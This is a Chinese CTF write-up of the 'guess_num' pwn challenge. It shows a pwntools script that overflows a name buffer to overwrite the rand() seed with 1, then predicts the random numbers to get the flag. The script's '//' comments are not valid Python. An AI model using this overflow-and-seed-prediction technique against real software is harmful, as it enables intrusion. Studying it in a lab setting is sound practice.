0
点赞
收藏
分享

微信扫一扫

攻防世界guess_num

乐百川 2022-03-27 阅读 82

题目

一点信息:猜数字

虚拟机里checksec

64位程序,canary/nx/pie保护全开

ida里

猜随机数,猜正确了就有flag

先了解了解两个函数

rand()             srand()

rand()函数会生成随机数,但这个随机数并不是真的随机,而是有规律的随机,用rand()函数之前,可以使用srand()函数设置随机数种子,如果没有设置随机数种子,rand()函数在调用时,自动设计随机数种子为1。

既然他用这个函数让我们猜数字,我们可以以毒攻毒,也用这个函数来猜,猜对了拿到flag

(算是脚本编写思路吧)

溢出长度0x30-0x10

exp

from pwn import*
from ctypes import*  //需要引入函数库
elf=ELF('./num')
p=process('./num')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

payload=b'a'*(0x30-0x10)+p64(1)
p.sendlineafter('name:',payload)

for i in range(10):
	p.sendlineafter('number:',str(libc.rand()%6+1))    //以毒攻毒之处

p.interactive()

 

成功打通 

举报

相关推荐

PWN做题笔记4-guess_num

攻防世界 WEB

【攻防世界】lottery

攻防世界game

攻防世界 —— hacknote

攻防世界logmein

0 条评论